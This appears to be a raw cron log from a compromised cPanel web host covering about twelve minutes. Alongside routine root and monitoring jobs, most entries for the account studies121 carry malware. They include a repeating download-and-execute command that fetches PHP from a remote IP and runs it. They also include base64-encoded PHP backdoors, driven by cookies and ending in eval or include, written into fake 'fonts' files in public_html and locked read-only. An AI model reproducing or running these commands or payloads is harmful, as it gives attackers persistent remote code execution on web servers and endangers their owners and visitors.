Sep  7 17:18:01 ip-184-168-122-23 CROND[3563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:18:01 ip-184-168-122-23 CROND[3564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:18:01 ip-184-168-122-23 CROND[3565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:19:01 ip-184-168-122-23 CROND[3665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:19:01 ip-184-168-122-23 CROND[3667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:19:01 ip-184-168-122-23 CROND[3668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:19:02 ip-184-168-122-23 CROND[3671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:20:01 ip-184-168-122-23 CROND[3754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:20:01 ip-184-168-122-23 CROND[3759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:20:01 ip-184-168-122-23 CROND[3766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:21:01 ip-184-168-122-23 CROND[3932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:21:01 ip-184-168-122-23 CROND[3934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:21:01 ip-184-168-122-23 CROND[3935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:21:01 ip-184-168-122-23 CROND[3936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:22:01 ip-184-168-122-23 CROND[4036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:22:01 ip-184-168-122-23 CROND[4037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:22:01 ip-184-168-122-23 CROND[4040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:22:01 ip-184-168-122-23 CROND[4038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:22:01 ip-184-168-122-23 CROND[4039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:23:01 ip-184-168-122-23 CROND[4120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:23:01 ip-184-168-122-23 CROND[4121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:23:01 ip-184-168-122-23 CROND[4122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:23:01 ip-184-168-122-23 CROND[4124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:24:01 ip-184-168-122-23 CROND[4240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:24:01 ip-184-168-122-23 CROND[4242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:24:01 ip-184-168-122-23 CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:24:01 ip-184-168-122-23 CROND[4247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:24:01 ip-184-168-122-23 CROND[4244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:25:01 ip-184-168-122-23 CROND[4385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:25:01 ip-184-168-122-23 CROND[4383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:25:01 ip-184-168-122-23 CROND[4384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:25:01 ip-184-168-122-23 CROND[4382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:25:01 ip-184-168-122-23 CROND[4386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:25:01 ip-184-168-122-23 CROND[4387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:26:01 ip-184-168-122-23 CROND[4647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:26:01 ip-184-168-122-23 CROND[4648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:26:01 ip-184-168-122-23 CROND[4649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:26:01 ip-184-168-122-23 CROND[4646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:26:01 ip-184-168-122-23 CROND[4650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:27:01 ip-184-168-122-23 CROND[4737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:27:01 ip-184-168-122-23 CROND[4738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:27:01 ip-184-168-122-23 CROND[4740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:27:01 ip-184-168-122-23 CROND[4739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:28:01 ip-184-168-122-23 CROND[4832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:28:01 ip-184-168-122-23 CROND[4834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:28:01 ip-184-168-122-23 CROND[4835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:28:01 ip-184-168-122-23 CROND[4836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:28:01 ip-184-168-122-23 CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:29:01 ip-184-168-122-23 CROND[4969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:29:01 ip-184-168-122-23 CROND[4972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:29:01 ip-184-168-122-23 CROND[4970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:29:01 ip-184-168-122-23 CROND[4973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:30:01 ip-184-168-122-23 CROND[5083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:30:01 ip-184-168-122-23 CROND[5084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:30:01 ip-184-168-122-23 CROND[5082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:30:01 ip-184-168-122-23 CROND[5089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:30:01 ip-184-168-122-23 CROND[5087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
